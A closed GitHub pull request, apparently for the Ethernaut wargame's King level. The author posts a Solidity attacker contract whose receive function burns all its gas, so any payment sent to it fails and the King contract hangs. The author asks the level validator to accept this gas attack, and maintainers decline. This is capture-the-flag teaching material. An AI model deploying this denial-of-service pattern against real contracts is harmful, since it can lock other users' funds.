Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Change KingFactory.validateInstance so that gas attack can be recognized #288

Closed

Conversation

pconerly
Copy link

@pconerly pconerly commented Nov 2, 2021

I had an attack on King that wasn't recognized as a success:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.7.0;

contract KingMeForever {

    address payable public kingAddress = payable(0x86699f95700424A20eDf530041f3869480604aC9);
    bool public lastSuccess = true;
    bytes public data;

    function setKing(address payable kaddr) public {
      kingAddress = payable(kaddr);
    }
    
    constructor() public {
    }
    
    receive () external payable {
        while (gasleft() > 0) {
          uint derp = 8354893489501 * 12312312312;
        }
    }
    
    function bid() public payable {
        (lastSuccess, data) = kingAddress.call{ value: msg.value, gas: 10_000_000 }("");
    }
}

When I submitted the instance, the King contract just hung! (Gas attack FTW!)

This PR would fix KingFactory.sol to properly recognize a gas attack.

@pconerly pconerly changed the title set gas on KingFactory.validateInstance so that gas attack can be recognized Change KingFactory.validateInstance so that gas attack can be recognized Nov 2, 2021
@frangio
Copy link
Contributor

frangio commented Nov 18, 2021

Thank you for the suggestion @pconerly. In this case in my opinion I think it's better to stick only to the currently accepted solution.

@xaler5
Copy link
Collaborator

xaler5 commented Dec 29, 2021

I'm closing this as per @frangio comment. I think this should be kept simpler and stick with it. Fell free to reopen if you still think it's worth to discuss about it.

@xaler5 xaler5 closed this Dec 29, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants